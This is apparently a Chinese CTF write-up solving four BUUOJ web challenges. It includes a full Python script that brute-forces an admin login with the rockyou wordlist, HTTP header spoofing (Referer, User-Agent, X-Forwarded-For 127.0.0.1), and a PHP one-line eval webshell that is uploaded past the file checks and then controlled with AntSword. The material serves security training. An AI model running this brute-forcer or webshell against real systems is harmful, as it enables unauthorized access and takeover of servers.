今天做三+1个web

题目:NSB_login

在这里插入图片描述
用户名有admin,看源码:
在这里插入图片描述
I like rockyou!今天学习到,kali里面有密码爆破的文件叫rockyou.txt(/usr/share/wordlists/)(没kali也可以去https://gitcode.com/Premium-Resources/754e5下载)。在这里插入图片描述
按源码备注提示,那就应该用这个字典进行爆破,burp也行,但佬说容易崩,所以在这用py脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import json
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

# 目标URL - 确认是否为正确的登录处理地址
url = "http://34c06c2f-cdc1-46e7-bdb4-817ca697d251.node5.buuoj.cn:81/login.php"

# 配置会话
session = requests.Session()
retry_strategy = Retry(
    total=3,
    backoff_factor=0.1,
    status_forcelist=[429, 500, 502, 503, 504]
)
adapter = HTTPAdapter(max_retries=retry_strategy, pool_connections=10, pool_maxsize=10)
session.mount("http://", adapter)
session.mount("https://", adapter)

# 添加常见的请求头,模拟浏览器行为
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
    "Referer": url,  # 添加来源页,有些服务器会检查
    "Connection": "keep-alive"
}

# 先获取登录页面,可能需要获取cookie
try:
    session.get(url, headers=headers, timeout=5)
except Exception as e:
    print(f"获取登录页面失败: {str(e)}")

with open('D:\\rockyou.txt', 'r', encoding='utf-8', errors='ignore') as f:
    i = 0
    for line in f:
        password = line.strip()
        if not password:
            continue
            
        data = {
            'email': 'admin',
            'password': password,
            'remember_me': 0
        }
        
        try:
            # 发送POST请求
            response = session.post(url, data=data, headers=headers, timeout=5)
            response.encoding = 'utf-8'
            
            # 每500个密码打印一次状态
            if i % 500 == 0:
                print(f"已尝试 {i} 个密码,当前尝试: {password} (状态码: {response.status_code})")
            
            # 检查状态码
            if response.status_code == 405:
                print(f"\n服务器拒绝请求 (405),可能需要修改请求方式或URL")
                print(f"响应内容: {response.text[:500]}")
                break
                
            # 检查是否是成功的响应
            if response.status_code == 200:
                # 解析响应
                try:
                    result = json.loads(response.text)
                    # 根据返回的消息判断
                    if result.get('ret') == 0 and "密码错误" in result['data'].get('msg', ''):
                        # 密码错误,继续尝试
                        pass
                    else:
                        # 可能是成功的情况
                        print(f"\n找到正确密码! 第{i}个尝试: {password}")
                        print(f"响应内容: {result}")
                        break
                        
                except json.JSONDecodeError:
                    # 非JSON响应,检查是否包含密码错误
                    if "密码错误" not in response.text:
                        print(f"\n找到正确密码! 第{i}个尝试: {password}")
                        print(f"响应内容: {response.text[:500]}")
                        break
            else:
                # 其他状态码,可能是成功
                print(f"\n找到正确密码! 第{i}个尝试: {password} (状态码: {response.status_code})")
                print(f"响应内容: {response.text[:500]}")
                break
                
            i += 1
            
        except Exception as e:
            print(f"\n请求出错: {str(e)},当前密码: {password}")
            continue
    else:
        print(f"已尝试所有密码({i}个),未找到正确密码")

记得修改上面的url和你真实rockyou.txt的位置。跑了许久(他会报错的,报错后过一会就会跳出Flag),得到:
在这里插入图片描述

题目:http

在这里插入图片描述
在这里插入图片描述
还挺长的一个网页,看看源码。
在这里插入图片描述
文件链接,点进去看看
在这里插入图片描述
说这不从"https://Sycsecret.buuoj.cn"来,打开burpsuite抓包修改重放下

Referer: https://Sycsecret.buuoj.cn

在这里插入图片描述
红框里是新添加的,点击放包看看效果:
在这里插入图片描述
那再修改,修改代理,把原先User-Agent修改为题目上述提示的Syclover browser

User-Agent:Syclover browser

在这里插入图片描述
得到
在这里插入图片描述
No!?说你只能本地看。那把改本地

X-Forwarded-For: 127.0.0.1

在这里插入图片描述
得到:
在这里插入图片描述

题目:[极客大挑战 2019]Upload

题目如下,看前端源码没有可以注意的东西
在这里插入图片描述
我试着上传一张图片(背景.jpg),结果回显:
在这里插入图片描述
搜寻资料,建议,先传马,一句话木马:

GIF89a
<script language='php'>eval($_POST['shell']);</script>

写入.txt里,将文件上传,但上传中用BP拦截修改文件
在这里插入图片描述
这样就可以成功绕过前端的检查,得到
在这里插入图片描述
后面根据这个马,通过蚁剑进行连接。(下图前面多了个http://,记得删)连接地址是"url"/upload/shell.phtml
在这里插入图片描述
连接成功后,在根目录找到了flag
在这里插入图片描述

点击查看
在这里插入图片描述

题目:[ACTF2020 新生赛]Upload

题目如下
在这里插入图片描述
打开前端,看看源码
在这里插入图片描述
依然是前端验证
传jpg然后BP改成一句话木马,就可以用蚁剑连接了。和上一道([极客大挑战 2019]Upload)一模一样
在这里插入图片描述
flag还是在根目录:
在这里插入图片描述

更多推荐